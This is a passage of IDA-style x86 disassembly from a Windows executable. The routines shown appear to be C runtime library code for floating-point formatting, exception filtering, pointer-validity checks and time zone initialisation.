		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_42040B:				; CODE XREF: sub_420387+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420387	endp


; =============== S U B	R O U T	I N E =======================================



sub_420413	proc near		; CODE XREF: sub_4204E2+75p
					; sub_4204E2+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_420421:				; CODE XREF: sub_420413+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_420421
		pop	esi
		retn
sub_420413	endp


; =============== S U B	R O U T	I N E =======================================



sub_42042E	proc near		; CODE XREF: sub_4204E2+5Fp
					; sub_4204E2+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42042E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42043A	proc near		; CODE XREF: sub_4204E2+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_420440:				; CODE XREF: sub_42043A+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_420452
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_420440
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_420452:				; CODE XREF: sub_42043A+9j
		xor	eax, eax
		retn
sub_42043A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420455	proc near		; CODE XREF: sub_4204E2+C0p
					; sub_4204E2+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_42048B:				; CODE XREF: sub_420455+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_42048B
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_4204BD:				; CODE XREF: sub_420455+86j
		cmp	ebx, edi
		jl	short loc_4204D0
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_4204D7
; ---------------------------------------------------------------------------

loc_4204D0:				; CODE XREF: sub_420455+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_4204D7:				; CODE XREF: sub_420455+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_4204BD
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420455	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E2	proc near		; CODE XREF: sub_42064E+Dp
					; sub_420664+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_42054F
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_42043A
		test	eax, eax
		pop	ecx
		jnz	loc_42060E
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx

loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2

loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------

loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx

loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------

loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h

loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------

loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------

loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx

loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax

loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------

loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------

loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx

loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]

loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A

loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------

loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]

loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------

loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h

loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	ds:dword_48A210, eax
		add	esp, 18h
		movsx	eax, ds:byte_48A1EA
		mov	ds:dword_48A208, eax
		pop	edi
		movsx	eax, ds:word_48A1E8
		mov	ds:dword_48A20C, eax
		mov	ds:dword_48A214, offset	dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------

loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------

loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------

loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: sub_4208B4o _2:0043B918o	...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------

loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, ds:dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	ds:dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------

loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax

loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208B4	proc near		; DATA XREF: _2:00426024o
		push	offset sub_42086E
		call	ds:off_42401C
		mov	ds:dword_48A218, eax
		retn
sub_4208B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208C5	proc near		; DATA XREF: _2:0042603Co
		push	ds:dword_48A218
		call	ds:off_42401C
		retn
sub_4208C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_424018	; IsBadReadPtr
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi

loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4241B8	; IsBadWritePtr
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi

loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	ds:dword_424014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi

loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC

loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	ds:dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	ds:dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	ds:dword_48A220, ebp
		mov	ds:dword_43C018, ebx
		mov	ds:dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		call	ds:dword_42418C	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, ds:dword_48A228
		mov	ecx, ds:dword_48A27C
		imul	eax, 3Ch
		cmp	ds:word_48A26E,	bp
		push	1
		pop	edx
		mov	ds:dword_43BF70, eax
		mov	ds:dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	ds:dword_43BF70, eax

loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	ds:word_48A2C2,	bp
		jz	short loc_4209E9
		mov	eax, ds:dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	ds:dword_43BF74, edx
		imul	eax, 3Ch
		mov	ds:dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------

loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	ds:dword_43BF74, ebp
		mov	ds:dword_43BF78, ebp

loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, ds:dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	ds:off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	ds:dword_48A0B8
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, ds:off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------

loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, ds:off_43BFFC
		and	byte ptr [eax],	0

loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	ds:off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	ds:dword_48A0B8
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, ds:off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------

loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, ds:dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6

loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	ds:dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	ds:dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	ds:off_43BFFC
		call	sub_418C10
		mov	eax, ds:off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi

loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	ds:dword_43BF70, ecx

loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17

loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------

loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, ds:dword_43BF70
		add	ecx, eax
		mov	ds:dword_43BF70, ecx

loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------

loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, ds:dword_43BF70
		add	ecx, eax
		mov	ds:dword_43BF70, ecx

loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------

loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	ds:dword_43BF70, ecx

loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	ds:dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	ds:off_43C000
		call	sub_418C10
		mov	eax, ds:off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------

loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, ds:off_43C000
		and	byte ptr [eax],	0

loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	ds:dword_43BF74, edi
		jnz	short loc_420BC0

loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------

loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, ds:dword_43C008
		jnz	short loc_420BDE
		cmp	eax, ds:dword_43C018
		jz	loc_420CE0

loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	ds:dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, ds:word_48A2CE
		push	ecx
		cmp	ds:word_48A2C0,	di
		movzx	ecx, ds:word_48A2CC
		push	ecx
		movzx	ecx, ds:word_48A2CA
		push	ecx
		movzx	ecx, ds:word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, ds:word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, ds:word_48A2C6
		push	ecx
		movzx	ecx, ds:word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------

loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, ds:word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, ds:word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi

loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, ds:word_48A27A
		add	esp, 2Ch
		cmp	ds:word_48A26C,	di
		push	eax
		movzx	eax, ds:word_48A278
		push	eax
		movzx	eax, ds:word_48A276
		push	eax
		movzx	eax, ds:word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, ds:word_48A270
		push	edi
		push	eax
		movzx	eax, ds:word_48A272
		push	eax
		movzx	eax, ds:word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, ds:word_48A272
		push	eax
		push	edi
		movzx	eax, ds:word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------

loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h

loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, ds:dword_43C00C
		mov	eax, ds:dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24

loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx

loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9

loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
